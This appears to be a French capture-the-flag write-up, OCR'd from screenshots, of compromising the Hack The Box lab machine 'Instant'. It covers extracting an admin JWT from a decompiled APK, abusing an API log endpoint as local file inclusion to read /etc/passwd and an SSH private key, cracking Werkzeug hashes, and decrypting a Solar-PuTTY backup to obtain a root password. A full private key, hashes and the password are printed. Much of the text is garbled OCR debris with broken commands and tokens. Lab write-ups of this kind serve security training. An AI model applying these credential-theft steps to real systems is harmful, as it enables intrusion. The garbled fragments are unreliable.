Instant

Wednesday, November 13, 2024 12:25 PM

(alice®kali)-[~/.../Machines/MEDIUM/LINUX/Instant]

'—5 nmap -sV -sC -0 10.129.236.158

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-13 12:19 CET

Nmap scan report for instant.htb (10.129.236.158)

Host is up (0.025s latency).

Not shown: 998 closed tcp ports (reset)

PORT STATE SERVICE VERSION

22/tcpopen ssh OpenSSH 9.6p1 Ubuntu 3ubuntul13.5 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 256 31:83:eb:9f:15:f8:40:a5:04:9c:cb:3f:f6:ec:49:76 (ECDSA)

|_ 256 6f:66:03:47:0e:8a:€0:03:97:67:5b:41:cf:e2:c7:c7 (ED25519)

80/tcp open http Apache httpd 2.4.58

| _http-server-header: Apache/2.4.58 (Ubuntu)

| _http-title: Instant Wallet

No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
0S:SCAN(V=7.94SVN%E=4%D=11/13%0T=22%CT=1%CU=35444%PV=Y%DS=2%DC=1%G=Y%TM=673
05:48B3D%P=x86_64-pc-linux-gnu)SEQ(SP=108%GCD=1%ISR=10B%TI=Z%Cl=Z%I1=1%TS=A
0S:)OPS(01=M53CST11NW7%02=M53CST1INW7%03=M53CNNT11NW7%04=M53CST11INW7%05
=M53
0S:CST1INW7%06=M53CST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6
=FE88
0S:)ECN(R=Y%DF=Y%T=40%W=FAF0%0=M53CNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%5=0%
A=S+
0S:%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=2%F=R%0=%RD=0%Q=)
0S:T5(R=Y%DF=Y%T=40%W=0%S5=2%A=5+%F=AR%0=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S5=A%
A
0S:=2%F=R%0=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S5=2%A=S+%F=AR%0=%RD=0%Q=)U1(R=Y%
D

0S:F=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=4
0S:0%CD=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

0S and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 21.28 seconds
On accéde a un site et on peut télécharger un fichier apk.
Un fichier APK (Android Package Kit) est un fichier utilisé pour distribuer et installer des applications

sur des appareils Android. Il contient tous les éléments nécessaires a I'installation et a I'exécution
d'une application Android.

ON a un outils sur linux qui est apktool et en cherchant sur internet on peut trouver une commande
"decode"

/smali/com/instantlab/instant

On trouve pas mal de chose ici :

LoginActivity oginAc 0 ityS4s1.s
] ] mali

ProfileActivi
al

ap.smali

En regardant dans admin.smali on tombe sur un jeton qui ressemble a un jeton JWT.
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KpXVCIQ, ey IpZCIOMSWcnosZSIOTKFRbWLUTiwid2FsSW

const-string v3,
"eyJhbGciOiJlUzI1NilsInR5cCl6IkpXVCI9.ey)pZCIEMSwicm9sZSI6IkFkbWIuliwid2FsSWQiOiimMGVjYTZ
INSO30DNhLTQ3MWQtOWQAZIOWMTYyY2JjOTAWZGIiLClleHAIOjMzMjU5MzAzNjU2fQ.vOqyyAqDSgy
oNFHU7MgRQcDAOBWI9_8AEXKGtWZ6rYA"

#
(0]
"

1: Linux 235 64: rv:128.0) Gecke

1:q=0.9 .
eal gm0, 9, imag,

woid, imnge b,

in
-Mat ek D345h32.
¥

ug 2024 2011948 GHT
azis

Authori

zation:
101 11L;

ey

Onh

S ar L
¥ERFHUTHZAD: DALBGS

Ca ne fonctionne pas pour I'instant donc je vais suivre un autre tuto :

Si je fais code . Ca va ouvrir visualcode et je peux voir le code.
On rajoute swagger-ui.htb dans le etc/hosts

Instant,htb,

Kali Linux @ KaliTools # KaliDocs ¥ Kali Forums X Kali NetHunter & Exploit-DB & Google Hacking DB

@ Swagger /apispec_l.json

101 JAMGY VT ZLNSD30

OffSec

Explore

Users

/api/vl/admin/add/user Admin Route To Crea

post_api_vl_admin_add_user g

/api/vl/admin/list/users List All Users In The DB get_api vl _admin_list users m

/api/vl/login Login

/api/vl/register Register a use post_

/api/vl/view/profile vie

i) 0L instant.hth

li Linux @& Kali To i s v Kali NetHunter

On voit qu'on a pas acces mais on a le jeton de I'admin donc on va tenter une attaque JWT :

"
==
Request
Pretty  aw B @ .
T ¢ o r
Host 5
801 Gecko/2 1 Firefor/12

nage/avif. inage vebp, inage/p

STk Pkl uT1
i MM LISMz Bz b

InHG
yAaDSg
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post_api_v1_login

api_vi_register

get_api_vl _view_profile m

QUOW4Z 1|

TYyY2) JOTAWZGI1LCILeHALO]

HZMJUSMZAZNIU21Q. Y



Pty Rew b =0

secko/ 201 Firefor/128,0

100

nage/avif, inage /vebp, inage/n

11 J0MG
wOayyAaDSg

st Timeout

arver timeout waiting for the MIT® request from the client,

@@ €+ - [

Comme ¢a ne fonctionne pas.

SL6THPR bW
] MzHj LEM
In browser
t1cks [Proversi
Change request method
hange bod
lose
t-Type: test
Paste from Fle
Sawe em
the clie

e

Ensuite on fait un curl :

~-H a/5.0 Linux x86_64;
‘Accept: text/html,applicat on/ahulonl,uwlinum/ul
8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate, br' -H $'Connection:
ive' -H $'Upgrade-Insecure-Requests: 1' - ‘Prlorny' 9, 1' -H $'Authorization: eanbuionuuﬂﬂunlsecu! p
5SWQ10 m)wzmamhuwmz OWNTYYY2]JOTANZGT 1LCILeHALOJMZIIUSMZAZN ]

'S'htlp://lyn“elv:.insunhhib/lpilvllatin/nad of

c'était pas read mais views :
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fapifvl/ed
+ mywallety
User-Agent: Hozilla/
Ac

i
W1l: Linuz xB6_B4: ro:l38,0

image/vebp. inage/p

MG caBsZSTETkFR bl
131 A 05 Mz

BHG

Bingo !
ON a déja un user : shirohige et on a une vulnérabilité de type LFI (local file inclusion). Qui est le fait
qu'on acces a des fichiers que normalement on est pas censé y avoir acces.

Maintenant on va essayer pour lire etc/passwd :

sswd HTTR/1.1

ru:128.0

suml gm0, 9, in

1hiTs 16Tk p e
Oh L TOSMNE OWOAZ1 0wHTY y ¥ 2] 0T

Je retourne dans I'API et je mets ce fichier ici :

Logs v

fapi/vl/admin/read/log cation Logs get_api_vl_admin_read_log

' transactions

1€ log file name as

Parameters

Name Description

log_file_name *

string name of the log file to read.

| llog

ON obtiens une commande :
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log_mie_name -

ring file to read

C e |
Responses Response content type | application/json

curl

curl -X GET "http://swagger-ui.instant.htb/api vl adnin/read /log?log_file_name=: accept: application/jsen”

ON va retester :

Firefor/128,0

image/avif.inage/vebp, inage/n

ON va maintenant faire une attaque LFI :

oumt

Bon on a le user.txt mais on a pas le root donc il va falloir trouver un moyen de se co en ssh.

On sait que je peux récupérer id_rsa vu que le port ssh est ouvert.
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Pour enlever les " et \ on utilise cyberchef avec I'option replace :

Recipe ~omE  input
O ! :
Output
O
m] .
S, xte
= =

ON a enfin notre clé rsa :

————— BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbmMIOUZQAAAAAAAAABAAABIWAAAADzC2gten
NhAAAAAWEAAQAAAYEApbntlalmnZWcTVZ0skIN2+PpqraxjYglrZyZzd9YtIGuv/w3GW8B
nwQ1vzh3BDyxhL3WLA3jPnkbB8j4luRrOfHN]K8IGefOMYtY/T5hEOVeHv73uEOA/BoeaH)89uOLggWPI7Ima85nvEékD/aH2rgSHE 11b06gBoAdiyycUAajZFbtHsvI5Su2SqLvsJRSAhOkDZW2uO7XS0sE/O
cadJY1PEqO+Q7X7WeAqY+juyXDwVDKbAOPzIg66Ynnwmu0d2iQkLHdxh/Wa5pfuEyreDgA
wDjMz70h0APgkznURGNF66jmdE7e9pSV1wiMpgsd)3UIGm6d/cFwx8l4odzDh+1jRRAAAA
wQCMDTZMyD8WuHpXgcsREVTFTGsklQOuYONelz3yOHuiGEdJu227BHP3QOCRjjHC74fN18
nB8V1c1FJ03BjOKKIZAsX+nDFSTLxUOy7/T39Fy45/mzAlbjbgRfbhheclGqcOW2ZgpgCK
gzGrFox3onf+N5DI0XcIFWdjQFcliSKKpP/ORNsjoXzU2xVeHi4EGoO+6VW2patqg2sblVt
pErOwUa/cKVITdoUmlyeqqtOHCv6Qmti3kylhahrQwOrcbkSgAAADBAOAKSIrksZjy4Mih
HSsLq1bCQ6NnSP+hIXXjImOFYcC4jLHbDoYWSilg96D1n1kyALvWrNDHIM7RMtS5WzBM3FX
zKCwZBxrcPuUOraNkO1haQlupCCGGISadMLuvefvthMxYxoAPrppptXR+g4uimwplolcO5
SSYSPxML0jS9gg++)v8luFHerxoTwrleY8d3smeOBc62yz3tlYBwSe/L1nlY6nBT57DO0OY
CGGEIC1cS7pOg/XaOh1bPMal4Hi3HUWWAAAMEAVV2Gzd98tSB92CSKct+eFqeX2se5UilZ
n90GYFZoYuRerYOQjdGOOCJ4D/SkipvOqgPQNulejh7DuHKiohmK8S59uMPMzgzQ4BRWOG
HwDs1CAcoWDnh7yhGK61ZM3950r1A/RPwtOFcvWfEoQqwvCV37L7Y))7rDWITa06gHMRMP
5VNy/4CNnMdXALXxOOMVNNoY1wPTAbOx/Pgvm24KcQn/7WCms865is11BwYYPaig5F5Zo1r
bhd6Uh70fGRW/5AAAAEXNoaXJvaGInZUBpbnNOYWS50AQ==

————— END OPENSSH PRIVATE KEY-----

On va récupérer le fichier sessions-backups sur notre machine:
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ON lance linpeas histoire de voir ce qu'on a :

shirohigeainstant

On va copier ce document sur notre machine

1
| Admin |admin@i htb|f -783a-471d-9d8f-0162cbc900db | pbkdf2:sha256:6000
00$15bFyb0ZzD69pNX8

$e9edea5c280e0766612 32e5fal 7ab7bc762bd978|2024-07-23

00:20:52.529887| 87348 | Admin | active

2|shirohige|shirohige@instant.htb |458715c9-b15e-467b-8a3d-97bc3fcf3c11

| pbkdf2:sha YnRgjnim
$c9541a8c6ad40bc064979bca46025041ffac9af2f762726971d8a28272c550ed | 2024-08-08
20:57:47.909667 | 42845 |instantian | active

Pour cracker ses mot de passe on va utiliser cette outils :
https://github.com/AnataarXVI/Werkzeug-Cracker

python3 werkzeug_cracker.py -p hash.txt -w
Jusr/share/wordlists/rockyou.txt
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Si je change la WordList avec dirb/others/big1050.txt et qu'on recommence on aga :

Et on obtient un mot de passe qui est estrella.

Ce n'est ni pour I'admin ni pour estrella

Maintenant ce qu'on va faire c'est essayer de décoder le fichier sessionbackup.dat avec le
mot de passe et pour ¢a on va chercher sur internet : putty session crack hash et tomber sur
cette article (

reverse engineering Solar-Putty) :

https://voidsec.com/solarputtydecrypt/

On suit les installations.

Je me suis envoyé le fichier par mail lol

J > Bureau > HACKDOC > HTB > SolarPuttyDecrypt vi

= Afficher
Modifié le
ndl

softJsonxml

On ouvre powershell :

& Windows PowerShell

Windows PowerShell
Copyright (C) Microsoft Corporation. Tous droits réserveés.

Installez la derniére version de PowerShell pour de nouvelles fonctionnalités et
S

PS C:\Users\alice\Desktop\HACK DOC\HTB\SolarPuttyDecrypt_v1> ls
Répertoire : C:\Users\alice\Desktop\HACK DOC\HTB\SolarPuttyDecrypt_vl

LastWriteTime Length Name
11/16/2024 11:54 AM 675752 Newtonsoft.Json.dll
11/16/2024 11:54 AM 761978 Newtonsoft.Json.xml
11/16/2024 11:54 19456 SolarPuttyDecrypt.exe
11/16/2024 11:54 189 SolarPuttyDecrypt.exe.config
11/16/2024 11:54 19968 SolarPuttyDecrypt.pdb

PS C:\Users\alice\Desktop\HACK DOC\HTB\SolarPuttyDecrypt_v1>

On lance I'outils mais il faut d'abord récupérer le fichier .dat et le mettre dans le méme
dossier que 'outils.

PS C:\Users\alice\Desktop\HACK DOC\HTB\SolarPuttyDecrypt_vl> 1ls

Répertoire : C:\Users\alice\Desktop\HACK DOC\HTB\SolarPuttyDecrypt_vl

Mode LastWriteTime Name

11/16/2024 2 Newtonsoft.Json.dll
11/16/2024 : Newtonsoft.Json.xml
11/16/2024 : sessions-backup.dat
11/16/2024 : SolarPuttyDecrypt.exe
11/16/2024 : SolarPuttyDecrypt.exe.config
11/16/2024 8 SolarPuttyDecrypt.pdb

On lance avec la commande : .\
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PS C:\Users\alice\Desktop\HACK DOC\HTB\SolarPuttyDecrypt_v1> .\SolarPuttyDecrypt.exe
SolarPuttyDecrypt now will try to dump local sessions' file, otherwise enter SolarPutty's sessions file path and passwor
d.

SolarPuttyDecrypt.exe C:\sessi dat pwd123 (use "" for empty password)

"Credentials"

"AuthScript

"Groups

"Tunnels [1,

"LogsFolderDestination": "C:\\ProgramData\\SolarWinds\\Logs\\Solar-PuTTY\\SessionLogs"

PS C:\Users\alice\Desktop\HACK DOC\HTB\SolarPuttyDecrypt_v1>

On indique le mot de passe estrella :

PS C:\Users\alice\Desktop\HACK DOC\HTB\SolarPuttyDecrypt_v1l> .\SolarPuttyDecrypt.exe .\sessions-backup.dat estrella

"Sessions": [

"Id": "06689U4ee-635c-U4578-86d0-d36dU838115b",

"ConnectionType": 1,

"SessionName": "Instant",

"Authentication": @,

"CredentialsI "452ed919-530e-419b-b721-da76cbe8edOd",
"AuthenticateScript": "00000000-0000-0000—-0000-0000E0EBE0E0",

"éredentiaLs“: [

"Id": "452ed919-530e-419b-bT21-daT6cbeBeddly"”
"Credentialsh "instant-root",
"Username" :
"Password"
"PrivateHeyl
"Passphrase": .
"PrivateHeyContent":
}
1,
"AuthScript": [1,
"Groups":
"Tunnels":

"LogsFolderDestination": "C:\\ProgramData\\SolarWinds\\Logs\\Solar-PuTTY\\SessionLogs"

OUI ON A ENFIN LE ROOT !!!!

Root:12**24nzC!r0c%q12

On se connecte en ssh avec le nouveau mot de passe trouvé !

FIN

MACHINES Page 9



